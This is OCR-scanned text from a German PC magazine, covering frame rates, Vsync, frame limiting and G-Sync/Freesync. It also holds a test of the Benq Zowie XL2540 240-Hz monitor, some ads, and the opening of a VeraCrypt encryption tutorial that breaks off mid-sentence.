über mehr ,Frames per second“: 
Der Hobbit war der erste Film, der 
mit doppelt so vielen Bildern pro 
Sekunde gedreht wurde - nämlich 
48 statt der üblichen 24, die seit 
nunmehr schon fast hundert Jah- 
ren über die Leinwände flimmern. 
Zu ,unfilmisch* wirke das Kinoer- 
lebnis, kritisierten Filmjunkies das 
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Während ein Mensch spätestens mit 90 Bildern pro Sekunde eine 


ruckelfreie Bewegung wahrnimmt, ist das bei Fliegen erst ab 200 Fps 
der Fall. Jetzt ist der erste 240-Hz-Monitor auf dem Markt. 


Format HFR (High Frame Rate). Ob 
einfach nur die Gewohnheit dafür 
verantwortlich ist, oder die 48 Fps 
zu sehr an digitale Hobbyfi 
erinnern, wo 50 oder 60 Bilder pro 
Sekunde längst verbreitet sind, sei 
dahingestellt. 


merei 


Der 24-Fps-Mythos 

Der Mythos, dass das menschliche 
Auge ca. 2á Bilder in der Sekunde 
als flüssige Bewegung interpretiert 
und mehr ohnehin nicht wahrneh- 
men kann, hält sich wahrschein- 


lich deswegen so hartnäckig, weil 
an den 24p im Kinoformat seit ei- 
nem knappen Jahrhundert nichts 
geändert wurde. Tatsächlich hat 
das Auge keine feste Bildrate oder 
Bildfrequenz. Das Gehirn kann bei 
einfachen, kontrastreichen Bildern 
schon ab etwa 16 Fps eine Bewe- 
gung wahrnehmen - wenn auch 
nicht unbedingt eine flüssige. Das 
ist erst ab etwa 25 Bildern pro Se- 
kunde der Fall. Dennoch kónnen 
in diesem Bereich Ruckler gese- 
hen werden, gerade wenn es sich 


um schnelle Bewegungen handelt. 
Richtig flüssig wird es erst ab etwa 
60 Fps. 


Die Wahrnehmung einer flüssigen 
Bewegung ist aber nicht nur von 
der Anzahl der Bilder abhängig, 
sondern auch vom Kontrast, der 
Helligkeit und der Sehfähigkeit ei- 
nes jeden Menschen. Die Dauer von 
Lichtreizen, die das Gehirn noch 
getrennt voneinander wahrneh- 
men kann (sog. Flimmerverschmel- 
zungsfrequenz) variiert daher zwi- 
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schen 11 und 45 Millisekunden, 
was 90 Hz und 22 Hz entspricht. 
Das bedeutet aber nicht, dass ein 
kürzerer Lichtblitz als 11 ms nicht 
vom Auge erfasst wird, denn es ar- 
beitet analog und nicht digital wie 
ein Monitor, der bei 60 Hertz nur 
alle 16 ms ein anderes Bild anzeigt. 
So würde etwa in einem stockdunk- 
len Raum ein viel kürzeres Aufblit- 
zen wahrgenommen werden. Das 
Sehvermögen ist daher nicht mit 
einer Fps-Rate zu bewerten. 


Film-Frame ist nicht gleich Compu- 
ter-Frame, wenn Kino und Monitor 
miteinander verglichen werden: 
Die 24 Bilder pro Sekunde auf der 
Kino-Leinwand gaukeln dem Ge- 
hirn wegen ihrer Bewegungsun- 
schärfe (engl.: motion blur) eine 
flüssige Bewegung vor. Der Bilder- 
brei, der mit einem Kamerasch- 
wenk während der Belichtungs- 
zeit entsteht, macht den 24p-Film 
gefühlt flüssiger. In digitalen Ani- 
mationen oder auch einigen Com- 
puterspielen wird die Bewegungs- 
unschärfe künstlich erzeugt. Na ja, 
wer's mag. 


In der Regel aber gibt die Gra- 
fikkarte jedes Frame gestochen 
scharf an den Monitor weiter. 
Daher benötigt dieser viel mehr 
Bilder pro Sekunde als Leinwand 
oder Fernseher. Erst ab circa 60 
Fps wird ein geschmeidig-flüssiger 
Genuss aus der Bewegung - die 
Unterschiede sind auch für das un- 
geübte Auge im direkten Vergleich 
zu erkennen. Schnell und einfach 
geht das etwa auf der Website 
www.30vs60.com. 


Warum Fps und Hz nicht 
harmonieren 

Obwohl die GPU ein scharfes 
Frame errechnet, schafft es der Mo- 
nitor dennoch nicht, es fehlerfrei 
oder flüssig darzustellen: Während 
ein Film mit fixer Bildrate läuft, 
variiert die eines Computerspiels 
ständig. Denn die Grafikkarte be- 
nötigt nicht für jedes die gleiche 


Rechenzeit. Der (LCD-)Monitor 
hat aber in der Regel eine feste 
Bildwiederholrate von mindes- 


tens 60 Hz. Liefert die Grafikkarte 
weniger als 60 Fps, gibt es eben 
kleinere oder größere Ruckler, da 
einige Frames mehrfach angezeigt 
werden. Stehen aber (wesentlich) 
mehr Frames zur Verfügung als 
vom Monitor angezeigt werden, 
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also in diesem Fall über 60 Fps, ist 
das dem Monitor auch nicht recht. 
Grafikkarte und Monitor nutzen 
denselben Speicher: Aus dem glei- 
chen Topf, in dem die GPU kocht, 
schöpft auch der Monitor. Ist das 
Bild noch nicht fertig berechnet, 
schiebt er kein neues nach - es ru- 
ckelt. Sind zu viele im Topf, bedient 
er sich beim Bildaufbau mehrerer 
Frames. Während er an einer Stel- 
le das aktuelle Bild aufgebaut hat, 
schiebt er an anderer Stelle schon 
das nächste nach, was sich häufig 
in horizontalen Rissen zeigt. Es 
entsteht das sogenannte Tearing. 
Je niedriger die Bildwiederholfre- 
quenz des Monitors, umso länger, 
also deutlicher, ist das Tearing 
sichtbar. 


Vsync: GPU tanzt nach der 
Monitor-Pfeife 

Abhilfe schafft hier die vertikale 
Synchronisation - kurz Vsync. Die 
Bildrate wird mit der Frequenz syn- 
chronisiert, also bei einem 60-Hz- 
Monitor auf 60 Fps limitiert. Wenn 
die Grafikkarte die Bildrate schafft, 
läuft ein recht flüssiges, konstantes 
Bild über den Schirm und die GPU 
muss wegen der Begrenzung nicht 
so viel rechnen, selbst sie es könnte. 
Sie verbraucht potenziell weniger 
Strom, muss demnach weniger ge- 
kühlt werden und läuft insgesamt 
leiser. Auch wenn das für einen 
Gamer eher zweitrangig ist - ihm 
ist die Leistung wichtiger als die Ef- 
fizienz. Bei Notebooks ist das schon 
eher relevant, denn aufgrund des 
chronischen Platzmangels sind die 
Lüfter von mobilen High-End-Gra- 
fikkarten besonders laut. 


Vsync geht aber nur so lange gut 
wie die GPU die Bildrate halten 
kann. Braucht sie länger für die Bild- 
berechnung und schafft zeitweise 
weniger als die 60 Fps, überbrückt 
der Monitor die Verzögerung, in- 
dem er beim nächstmöglichen Zyk- 
lus einfach das bereits vorhandene 
Bild anzeigt, bis die GPU wieder 
ein vollständiges Bild liefern kann. 
Demnach halbiert sich bei festen 
60 Hz faktisch die Bildrate auf die 
Hälfte, also 30 Fps. Mit Vsync wird 
also eine Grafikkarte gebraucht, die 
die Bildrate entsprechend der Bild- 
wiederholungsrate des Monitors 
auch halten kann. Abgesehen da- 
von ist der eigentliche Nachteil für 
Gamer die größere Eingabeverzö- 
gerung (engl.: input lag), die durch 


Bildsynchronisation 


„Vsync off": Keine Synchronisation zwischen Grafikkarte und Monitor 


D ... Keine Eingabeverzögerung (Input Lag), die durch Zwischenspeicherung 


der Frames bei Vsync bedingt ist. 


... Deutlich sichtbare Bildrisse, die in Multiplayer-Shootern nicht nur optisch, 
sondern auch den Spielverlauf stóren. 


Vsync: Bildrate der GPU wird mit Monitorfrequenz synchronisiert 
D ... Keine Bildrisse mehr und Grafikkarte läuft wegen fester Bildrate 


sparsamer und leiser. 


gH ... Bildpufferung erzeugt ein Input Lag. Bildrate halbiert sich, wenn sie die 


Monitorfrequenz nicht erreicht. 


Frame Limit: Bildrate der GPU wird auf Monitorfrequenz begrenzt 


... Wie bei Vsync läuft die Grafikkarte sparsamer und leiser. Die Bilder 


werden aber lagfrei ausgegeben. 


gH ... Tearing wird dadurch nicht verhindert, da hier wie bei „Vsync off" 


Grafikkarte und 


onitor asynchron laufen. 


G-Sync/Freesync: Monitorfrequenz wird mit Bildrate synchronisiert 
D ... Alle Vorteile beider Welten: Kein Bildriss und kein Input Lag. Zudem muss 


die Bildrate nich 


beschränkt werden. 


Е ‚.. Monitor und GPU müssen kompatibel sein bzw. neu angeschafft werden. 
VRR funktioniert nur in einem bestimmten Fps-Intervall. 


Bildrisse (Tearing 


CS:G0 © 


Bildwiederholrate 
Bildrate 
297 Fps 
125 Fps 
60 Fps 


W kaum Bildrisse 


Counter-Strike: Global Offensive ist für hohe Bildraten optimiert und auch VRR ist hier ver- 
pönt. Ohne Synchronisation wird eine hohe Bildwiederholrate benötigt, damit Bildrisse bei 
horizontalen Schwenks das Bild nicht stören. Oft kommt ein Frame Limit zum Einsatz. 


E leichte Bildrisse MM deutliche Bildrisse 


die Zwischenspeicherung entsteht. 
Für Singleplayer oder Strategie- 
spiele mag das unwesentlich sein. 
In Multiplayer-Shootern, bei denen 
jede Millisekunde über Leben und 
Tod entscheiden kann, ist Vsync da- 
her ein No-go. 


Frame Limit: 

der Kompromiss 

Wer den Input Lag nicht in Kauf 
nehmen will, dafür aber mit leich- 
tem Tearing leben kann, begrenzt 
einfach manuell die Bildrate der 
GPU mit einem Frame Limit. Das 
geht bei vielen Spielen in der Regel 
mittels Konsolenbefehl. Dadurch 
wird die Bildrate auch nicht gleich 
halbiert, wenn sie unter die Gren- 
ze fällt. Dafür aber tritt der Bild- 
riss immer an der gleichen Stelle 
auf, wenn die Bildrate genau der 
Wiederholfrequenz des Monitors 
entspricht, weil dann beide ja stets 
gleich schnell, aber immer asyn- 


chron laufen. Setzt man das Frame 
Limit leicht über oder unter der 
Frequenz, laufen GPU und Monitor 
zumindest in einigen Zyklen syn- 
chron, was einige Risse entfernt. 
Zudem fallen die Risse nicht so 
stark auf, da sie nicht immer an der 
gleichen Stelle auftreten. Es bedarf 
des richtigen Timings beim Aus- 
und Anschalten des Limits, damit 
die Risse etwa im oberen oder un- 
teren Bereich des Bildschirms auf- 
treten, wo sie weniger stören. 


Je höher Limit und Wiederholrate, 
umso kürzer sind die Tearing-Lini- 
en. Ein Monitor mit 4K-Auflösung 
und großer Bildschirmdiagonale, 
etwa über 27 Zoll, der aktuell Bil- 
der nicht mit höherer Frequenz als 
60 Hz anzeigt, bekommt mit einem 
entsprechendem Frame Limit um 
die 60 Fps einen deutlich sichtba- 
ren Bildriss. Bei einem hochfre- 
quenten Full-HD-Bildschirm über 
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Bildrisse in Battlefield 1 


Bei niedriger Bildwiederholrate hilft ein Frame Limit, das den Riss an eine be- 


stimmte Stelle verbannt. Mit mehr Hertz sind die Risse kürzer und weniger sichtbar. 


1080p, 60 Hz 


1080p, 240 Hz 


Pixelgröße versus Reaktions- 
zeit: Ein ewiger Kampf? 


Immer wenn ein neuer Bildschirm mit besonders hoher 
Bildaktualisierungsrate erscheint, fangen ältere Semes- 
ter an, von Röhrenbildschirmen zu schwärmen. Bei 
denen gilt keineswegs das Märchen „Früher war alles 
besser”, denn die waren klobig und doch (diagonal) 
klein. CRTs haben nur einen Vorteil: Ihre Bildschärfe 
wird durch Bewegungen nicht beeinträchtigt — dafür 
ist sie im Stand nicht so hoch wie bei LCDs. Was mit 
einem 240-Hz-Flachmann möglich ist, kommt ver- 
dammt nah an das heran, was alte Hasen wie ich am 


4 EF. 
Raffael Vötter 


Retro-PC bestaunen — inklusive der Auflösung (Full HD ;-). 2017 entwachsen hohe 
Refreshraten dank DP1.3/1.4 hoffentlich den pixeligen Kinderschuhen! 


240 Hz nehme ich gerne. Aber 
bitte in höherer Auflösung. 


Hohe Refreshraten sind toll, gar keine Frage. Wobei es 
schon relativ schwierig ist, zwischen 144 Hz und 240 
Hz bei Bildraten jenseits der 200 Fps Unterschiede 

festzustellen — im direkten Vergleich ist aber tatsäch- 
lich das ruhigere Bild bei 240 Hz bemerkbar. Schalte 
ich Vsync samt Triple Buffering zu und eliminiere so 
die Bildrisse auf Kosten der Latenz, ist das Spielgefühl 
mit 144 Hz sogar deutlich schlechter. Es hat mich 
selbst ein wenig überrascht, wie stark die Differenz 
ins Gewicht fallen kann — wobei es auch einen Unter- 


Philipp Reuther 


schied macht, was man spielt. In Doom etwa sind Bildrisse weniger deutlich als in 
Counter-Strike, die Unterschiede von 240 zu 144 Hz fallen dort somit geringer aus. 
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100 Hz fällt das Tearing umso we- 
niger auf - erst recht, wenn die 
Bildschirmdiagonale lediglich 24 
Zoll beträgt. Zudem muss dann das 
Frame Limit nicht unbedingt der 
Monitorfrequenz entsprechen. Ist 
die Grafikkarte nicht übermäßig 
leistungsfähig, wäre etwa bei ei- 
nem Monitor mit Bildwiederholra- 
te von 120 Hz je nach Spiel auch ein 
Limit bei einem Drittel, der Hälfte 
oder drei Vierteln der Frequenz 
wirksam. 


Ein Frame Limit wirkt bei jedem 
Spiel unterschiedlich. Top-Kom- 
promiss bei einem, zerstört es die 
Grafikleistung beim anderen gänz- 
lich. Im Gegensatz zu Vsync verhin- 
dert eine manuell festgesetzte Bild- 
rate kein Tearing, bietet dafür aber 
verzögerungsfreies Spielen bei ei- 
ner sparsamer laufenden GPU. Ein 
Frame Limit erfordert immer etwas 
Herumprobieren. 


VRR: Monitor tanzt nach 
der GPU-Pfeife 

2014 hat die VESA (Video Elec- 
tronics Standards Association) das 
sogenannte Adaptive Sync in den 
Displayport-Standard 
men. Im Gegensatz zu Vsync läuft 
die Synchronisierung hier anders- 
herum: Die Bildwiederholrate des 
Monitors passt sich an die variable 
Bildrate der GPU an. Die Erlösung: 
Endlich keine feste Bildrate mehr, 
die GPU kann also Bilder so schnell 
erstellen, wie sie es zu leisten ver- 
mag und der Monitor gibt sie auch 
erst dann aus, wenn sie vollständig 
sind. Nvidia preschte 2015 mit dem 
proprietären G-Sync vor, AMD zog 
kurze Zeit später mit einem auf 
dem VESA-Standard basierenden 
und dementsprechend freien Free- 
sync nach. 


aufgenom- 


Wer die sogenannte Variable Re- 
fresh Rate (VRR), nutzen möchte, 
braucht einen Monitor, der einen 
der beiden Standards unterstützt. 
Ein Gamer muss sich also nicht nur 
mit der Grafikkarte, sondern auch 
mit dem Monitor einer der beiden 
Religionen verschreiben. Nvidia 
lässt sich das von den Monitor- 
Herstellern gut bezahlen - und die 
wiederum holen sich das Geld vom 
Kunden. Einige Monitor-Modelle 
sind wahlweise mit Freesync oder 
G-Sync und ansonsten identischer 
Ausstattung erhältlich, die Preisdif- 
ferenz kann aber gut und gerne bei 


einigen Hundert Euro liegen. 

Ein rissfreies Bild ohne Input Lag - 
ist der Heilige Gral nun also gefun- 
den? Vor genau einem Jahr, in der 
Ausgabe 02/2016 präsentierten 
wir die Ergebnisse unseres VRR- 
Dauertests. Die Meinungen der 
Kollegen reichten von „nie mehr 
ohne“ bis „brauche ich nicht“. Ein 
Fazit war aber bei jedem heraus- 
zulesen: Trotz all der technischen 
Überlegenheit der synchronisier- 
ten Bildwiederholungsrate ist das 
eingeschränkte Fps-Intervall und 
die geringe Anzahl an Spielen, die 
davon profitieren, nicht immer 
den Aufpreis oder gar eine Neu- 
anschaffung wert. Wer beispiels- 
weise mit einem Display mit weit 
über 100 Hz gesegnet ist, kann 
auch mit Vsync oder Frame Limit 
ganz gut zurechtkommen. Wer 
sich aber aktuell sowieso einen 
neuen Monitor anschafft, kann 
das VRR-Feature - zumindest bei 
Freesync - auch ohne großen Auf- 
preis mitnehmen. 


240 Hertz: Wer braucht ei 
Den physiologischen Ausführun- 
gen in der Einleitung zum Trotz 
bringen die Hersteller Monitore 
mit immer hóherer Bildwiederhol- 
rate auf den Markt. Alles nur Marke- 
ting und Gamer-Esoterik? Natürlich 
nicht. Nur weil spátestens bei 90 
Hz Bilder zu einer Bewegung ver- 
schmelzen, heißt das noch lange 
nicht, dass schnellere Bildfolgen 
nicht wahrgenommen werden kón- 
nen. Jeder Mensch ist anders. Wäh- 
rend der eine keinen Unterschied 
über 60 Hz feststellt, ist für den an- 
deren die 100-Hz-Überschreitung 
das Erlebnis schlechthin. 


144 Hz sind schon im guten Preis- 
Leistungs-Bereich angekommen. 
Auch Frequenzen darüber sind 
schon erhältlich, beispielsweise 
erscheint noch in diesem Jahr ein 
240-Hz-Modell - der Benq Zowie 
XL2540, der ganz klar auf nur 
eine Zielgruppe ausgerichtet ist: 
Pro-Gamer und solche, die es wer- 
den wollen. Das TN-Panel reagiert 
schneller als etwa ein IPS-Panel mit 
generell besserer Farbqualität. 


Es ist außerdem ein Mythos, dass 
von 240 Hz bzw. von hohen Bild- 
wiederholraten allgemein nur der- 
jenige profitiert, dessen GPU auch 
Bildraten mit diesen Werten pro- 
duzieren kann. Ohne jegliche Syn- 
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chronisation sind Bildrisse zwar 
noch immer vorhanden, dafür aber 
deutlich kürzer und nur für das ge- 
übte Auge wahrzunehmen. Der Un- 
terschied zwischen 60 und 120 Hz 
ist noch deutlich sichbar. In einem 
Vergleich haben wir uns in der Re- 
daktion schwer getan, die 120 Hz 
0 Hz zu unterscheiden. 


Die Full-HD-Auflósung mag denen, 
die mehr auf ,eye candy* stehen, 
zuwider sein. Für manch einen Pro- 
Gamer ist sie mehr als genug, da er 
lieber mit der Steinzeit-Auflósung 
von 1.024 x 768 Pixeln zockt, um 
der Grafikkarte auch die letzten 

abzuringen. Wettkampf-Shoo- 
ter wie Counter-Strike erreichen 
nicht nur mit aktueller GPU in Full 
HD Bildraten weit über 200 Fps. 
Die will der E-Sport-Gamer auch 
vom Monitor angezeigt bekommen 
- ohne dynamische oder gar verti- 
kale Synchronisation, die wieder- 
um die Eingabe verzógern. 


Nach wie vor muss der Gamer sich 
für einen Kompromiss entschei- 


den. Eine 4K-Auflösung ist noch 
immer nur mit 60 Hz möglich. 
Das wird sich mit Displayport 1.3 
ändern, der noch immer auf sich 
warten lässt. Entsprechend muss 
die Grafikleistung mithalten: Ein 
4K-Bild ist vier Mal so groß wie 
ein Full-HD-Bild. Und verglichen 
mit 60 Hz muss die GPU bei einem 

0-Hz-Monitor vier Mal so viele 
Bilder in der gleichen Zeit berech- 
nen. Die GPU müsste also 16 Mal so 
viel leisten. 


Wenn es nicht gleich 4K und 240 
Hz sein müssen, gibt es schon jetzt 
einige Komprom . Etwa Gaming- 
Monitore mit 1440p-Auflösung und 
dynamischer Frequenz bis 144 Hz 
oder sogar etwas mehr, die im mitt- 
leren dreistelligen Preisbereich 
liegen. Solche Monitore kosten nur 
unwesentlich mehr als das erste 

40-Hz-Modell von Benq und sind 
für mehr Genres als nur für Shoo- 
ter konzipiert. Wem ein schickes 
und schnelles Bild auch bei Indie- 
oder Strategiespielen gleicherma- 
ßen wichtig ist, fährt damit aktuell 


sicherlich am besten. (mc) 
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F 1: Welche Vorteile hat für Gamer eine 
hohe Bildfrequenz über 240 Hz gegenüber 
einer dynamischen Frequenz mittels G-Sync 
und Freesync? 


Bernd Suessenbach: Solange die Bildwiederholfre- 
quenz konstant bei 240 Hz liegt, profitieren die Spie- 
ler von einem deutlich , smootheren" Gaming-Er- 
lebnis — das gilt insbesondere für sehr schnelle, 


Bernd Suessenbach, 
fordernde und bewegungsreiche E-Sport-Spiele. B 2 


Benq, Prod. Manager 

f Wird es auch 240-Hz-Displays geben, 

die nicht ausschließlich auf E-Sport zugeschnitten sind? Also etwa mit 
IPS-Panel oder höhere Auflösung? 


Bernd Suessenbach: Bis dato sehen wir keine 240-Hz-Entwicklungen bei 
IPS-Panels. In der Vergangenheit wurden die hohen Bildwiederholraten zuerst bei 
TN-Panels eingeführt und später folgten die entsprechenden Entwicklungen bei 
IPS-Panels. Die 240-Hz-Technologie ist ebenfalls bei höheren Auflösungen mög- 
lich, jedoch muss der PC-Gaming-Markt noch Erfahrungen bei fotorealistischen 
4K-Spielen mit 2 z sammeln. 


Wird es zukünftig noch höhere Bildfrequenzen geben oder sind 
240 Hz das Ende des Machbaren bzw. Sinnvollen? 


Mit nativen 240 Hz bei einem Full-HD-Panel haben wir 
re Bildwiederholfrequenz, die noch lange State of the 


Bernd Suessenbac 
derzeit die hóchste ver 
Art sein wird. 


Unbegrenzte Möglichkeiten! 


DARK BASE 900 


Unzählige Möglichkeiten einen PC zu konfigurieren und eine Gehäuse-Serie, die all das 
möglich macht: Dark Base 900. Maximale Flexibilität für deine individuellen Anforderungen 
und - typisch be quiet! - einer der leisesten Tower der Welt! 


= Mainboard-Tray und HDD-Tray mit erweiterten Einbaumóglichkeiten 

= Drei nahezu unhörbar leise be quiet! SilentWings® 3 PWM Lüfter 

a Intelligente Luftstromführung mit geráuschreduzierenden Auslássen 

a Vier Bereiche für Wasserkühlungsradiatoren bis zu 420mm 

= Dark Base Pro 900 mit LED-Beleuchtung, Seitenfenster aus getóntem Temperglas und 
kabelloser Ladestation für Qi-fáhige Endgeráte 


Für mehr Informationen besuchen Sie bequiet.com. 


Erháltlich bei: alternate.de - arlt.de - atelco.de - bora-computer.de - caseking.de 
conrad.de - cyberport.de · e-tec.at - galaxus.ch - mindfactory.de - reichelt.de - snogard.de 
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INFRASTRUKTUR | 240-Hz-Monitor 


Benq Zowie XL2540: Erster 240-Hz-Monitor im Test 


0,356 © 


Avg deltat: 6,8 
Max delta: 15 


RGB Triplet: 235, 235, 
deltaE: 4 


Selbst nach Kalibrierung weist der Zowie XL250 deutlich sichtbare Farbabweichungen 
auf. Diese Schwäche ist typisch für TN-Panels. Dafür sind sie reaktionsschnell. 


Produkt 


Hersteller 


ZOWIE XL2540 


Benq 


Preis/Preis-Leistungs-Verhältnis 
PCGH-Preisvergleich 
Ausstattung (20 %) 
Diagonale/Anschlüsse 


Ca. € 500,-/Ausreichend 
www.pcgh.de/preis/1534083 


62,5 cm/HDMI 2.0 (x2), DP1.2 


Max. Auflösung/Pixelabstand 


1.920 x 1.080/0,3 mm 


Panel/Hintergrundbeleuchtung 


TN/LED 


Reaktionszeit (Hersteller)/Netzteil 


1 ms/intern 


Gewicht/Maße 


7,5 kgl57 x 52 x 23 cm 


Pivot 90Grad/neigbar/höhenverst. 


Ја/30 Grad/155 mm 


TCO/Garantie 


-12 Jahre Vor-Ort-Abholung 


Interpolation 


Sonstiges USB-3.0-Hub, drehbarer Standfuß, Kopfhörerausgang, Mikrofonein- 
gang, Fokusblende, Headset-Aufhängung, Schutzhülle 

Eigenschaften (20 %) 2,27 

Betrachtungswinkel horizontal/vertikal 170/160 Grad 

Max. Bildwiederholrate 240 Hz 

Kontrastverhältnis/Schwarzwert 731:1/0,49 cd/m? 

Max. Leistungsaufnahme/Stand-by 26 Watt 

Leistung (60 %) 1,59 


Vollbild, 16:9/gut 


Reaktionszeit/Schlieren-/Korona-Bildung 


1 ms/gering/gering 


Subjektiv spieletauglich/Inputlag 


Ја/10 ms 


Regelbereich Helligkeit (0 - 100 %) 


40-390 cd/m? 


Helligkeitsabweichungen/max. @ 


Bis 10 96/370 cd/m? 


Farbbrillanz/Farbechtheit 


Befriedigend 


FAZIT 


© Höchste verfügbare Bildfrequenz 
© Niedrige Verzögerung 
© Bestenfalls mittelmäßige Farbqualität 


Wertung: 1,83 
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ine Bildwiederholrate über 

240 Hz ist nichts Neues - eine 
solche native Frequenz aber schon. 
Bereits vor drei Jahren warb etwa 
Eizo damit, 120-Hz-Signale in 240 
Hz zu konvertieren, indem zwi- 
schen jedem Bild ein Schwarzbild 
eingefügt wird, was Bewegungen 
flüssiger und schärfer machen soll. 
Mittlerweile aber haben mehrere 
Hersteller Monitore mit echten 240 
Bildern pro Sekunde angekündigt. 
Mit dem Zowie XL2540 ist Benq als 
Erster auf dem Markt - dieser soll 
noch vor Weihnachten erhältlich 
sein. Andere sind frühestens auf Ja- 
nuar terminiert. 


Pro-Gamer-Gerät 

Äußerlich unterscheidet sich der 
XL2540 kaum von anderen Model- 
len der Zowie-Reihe. Auch er ist 
voll und ganz auf E-Sport-Gamer 
zugeschnitten - mit einem 240-Hz- 
Display nun mehr denn je. Die Zo- 
wies sind dafür gemacht, um sie auf 
LAN-Partys mitzuschleppen. Dafür 
spricht etwa der praktische Griff 
am Standfuß oder eine Schutzhülle 
für das Display. Zudem lässt sich das 
über einen Knopf an der Rückseite 
ganz einfach und ohne Schrauben- 
dreher vom Standfuß lösen. 


Doch auch andere einfache, aber 
nützliche Details weiß der Wett- 
kampf-Gamer zu schätzen: Etwa 
eine ausfahrbare Headset-Halte- 
rung an der linken Seite des Geräts 
die Kabel-Fernbedienung, 
mit der gespeicherte Bildprofile 
schnell gewechselt werden können 
und bequem durch das Monitorme- 
nü navigiert werden kann. Kopfhö- 
rer- und USB-3.0-Buchsen sowie ein 
recht flexibler Standfuß runden 
das Portfolio eines Geräts ab, so 


oder 


wie man es im mittleren Preisseg- 
ment auch erwartet. 


Auch typisch für die Zowies sind 
die ,Segelohren*, wie wir sie in der 
Redaktion liebevoll nennen. Benq 
spricht von „Fokusblenden‘, die ei- 
nem helfen sollen, sich besser auf 
das Spiel zu konzentrieren. Um etwa 
gegen einen ungünstigen Lichtein- 
fall zu schützen, wie es Blenden bei 
professionellen Grafik-Bildschirmen 
tun, fehlt eine Blende an der obe- 
ren Kante des Geráts. Wer die bei- 


den Flügelklappen nicht braucht, 
schraubt sie einfach nicht an. 


Schnelles statt schónes 
Display 

Der XL2540 ist kein Kompromiss- 
gerät. Mit einem TN-Panel liegt 
der Fokus klar auf Schnelligkeit, 
auf Kosten der Farbqualität: Wir 
messen ein mittleres Input Lag im 
Vergleich zur CRT-Róhre von nur 
10 ms - besser geht es kaum bei ei- 
nem Flachbildschirm. 


Dafür schneidet das Display in der 
Farbtreue weniger gut ab - wie 
von einem TN-Panel aber auch er- 
wartet: Die Farbanalyse mit dem 
Kolorimeter zeigt Abweichungen, 
die nur geringfügig mit Kalibrie- 
rung reduziert werden kónnen. 
Der XL2540 bietet jedoch eine 
Fülle an  Einstellmóglichkeiten, 
um dem etwas entgegenzuwir- 
ken. Schwarzwert, Sättigung, alle 
RGB-Werte und Blaulicht kónnen 
eingestellt werden. Mit knapp 390 
cd/m? ist die gemessene Maximal- 
helligkeit zudem etwas geringer 
als die Datenblatt-Angabe, was aber 
noch immer mehr als genug ist. 
Kontrastverhältnis und Schwarz- 
werte sind bestenfalls mittelmäßig. 
Ebenso die gleichmäßige Ausleuch- 
tung des Panels: Die obere rechte 
Ecke ist circa 10 Prozent dunkler 
als die Bildschirmmitte. Dedizierte 
Lichthöfe sind deswegen mit dem 
bloßen Auge noch nicht unbedingt 
festzustellen. Außerdem ist das Dis- 
play für ein TN-Panel auf der Hori- 
zontalen recht blickwinkelstabil. 


240 Hz - sonst nichts 

Der Benq Zowie XL2540 sticht 
allein mit der hohen Bildwieder- 
holfrequenz hervor. Denn ein 
passables TN-Panel in Full-HD- 
Auflösung kostet keine 500 Euro 
- ein solches gibt es schon für die 
Hälfe, wenn auch nur mit 120 Hz. 
Zudem bietet der XL2540 keine 
dynamische  Bildsynchronisation. 
Noch profitiert Benq vom Monopol 
in der 240-Hz-Region. Im Januar, 
wenn andere Hersteller wie ange- 
kündigt nachziehen, wird die Kon- 
kurrenz sicherlich die Straßenprei- 
se etwas sinken lassen. Erst recht, 
wenn andere Modelle 240 Hz mit 
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G- bzw. Freesync anbieten. 
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LPIC-1 / LPIC-2 Trainings 


mit Ingo Wichmann , Linuxhotel 


LPIC-1 (LPI 101 + 102) LPIC-2 (LPI 201 + 202) 


*Neue Lernziele für LPIC-2 gültig ab 1.11.2013! linu&hotel 


Zarafa - die offiziellen Trainings 


mit Marco Welter, 
Zarafa Deutschland GmbH 
Zarafa Administrator Zarafa Engineer 


Linux-Hochverfügbarkeit und Clusterbau 


mit Dr. Michael Schwartzkopff, 
5у54 AG 


M [*] 4 


Enterprise Experts 


Puppet Fundamentals 


Das offizielle Training 
mit Achim Ledermüller, 
NETWAYS GmbH 


f /ComputecAcademy АА cO] putec-a cademy.de 


y 
l m Lernen Sie, wo und 
wann Sie möchten. 


m Sparen Sie Zeit und Kosten. З 
m Bleiben Sie trotz zeitlicher Engpässe 


mNETWAYvs» /^PUPPet 


IT- Onlinetrainings 


Mit Experten lerner e 


up-to-date. 
*Bei der Bestellung im Shop werden die im Anzeigentext genannten 
Standardpreise um 20% rabattiert! Angebot gültig bis 31.08.2015! C 0 m сотр U re C 
SÉ MEDIA 


Effiziente BASH-Skripte 


mit Klaus Knopper, 
Gründer der Knoppix-Distribution, 
KNOPPER.NET 


Einfache IMAP-Server mit Dovecot 
= mit Peer Heinlein, 
Heinlein Support GmbH 


249 € 1 
T 


heinlein 


Python für Systemadministratoren 


mit Rainer Grimm, 
Science + computing AG 


199€ e python” 


Univention Corporate Server (UCS) 
Technikschulung 

mit Philipp Hahn, 

Univention GmbH 


(D univention 


SPIELE & SOFTWARE | Daten sicher mobil transportieren 


VeraCrypt 


Zugang nicht für jeden 


Dem PC vertrauen Anwender häufig sehr private Daten an, die nicht für die Öffentlichkeit bestimmt 


sind. Wir zeigen Ihnen, wie Sie Ihre Datenspeicher gegen Zugriffe Unbefugter sichern. 


SB-Sticks, aber auch externe 
| B sc sind ideal für den 
mobilen Datentransport. Schnell 
ein paar Geschäftsunterlagen zum 
Vorbereiten der nächsten Präsenta- 
tion nach Hause oder die Urlaubsvi- 
deos zu einem Freund mitnehmen? 
Gar kein Problem! Doch so unkom- 
pliziert der Umgang mit diesen 
handlichen Datenträgern ist, so 
schnell können sie im Alltag auch 
aus den Augen geraten oder verlo- 
rengehen. 


Warum verschlüsseln? 

Wenn das passiert, ist es jedem 
Finder möglich, sämtliche gespei- 
cherten Daten einzusehen - wo- 
möglich auch gelöschte Inhalte, die 
sich leicht wiederherstellen lassen. 
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Abhängig von den abhanden ge- 
kommenen Daten kann es sich um 
ein bloßes Ärgernis handeln oder 
ernsthafte Konsequenzen im Be- 
rufs- und Privatleben nach sich zie- 
hen. Dabei ist es relativ einfach und 
sogar kostenlos möglich, seine Da- 
tenträger mit leistungsfähiger Ver- 
schlüsselungstechnik zu sichern. 


Als sehr gute Verschlüsselungssoft- 
ware gilt das Programm Veracrypt, 
das sich über https://veracrypt. 
codeplex.com kostenlos beziehen 
lässt. Dabei handelt es sich um eine 
Abspaltung des 2014 eingestellten 
Truecrypt-Projekts. Die Software 
ist wie Truecrypt quelloffen und 
wurde zuletzt im Oktober 2016 ei- 
ner Audit genannten Überprüfung 


unterzogen. Die dabei aufgespür- 
ten Sicherheitslücken wurden mit 
der für diesen Artikel genutzten 
Version 1.19 bereits größtenteils 
behoben. An modernen und kor- 
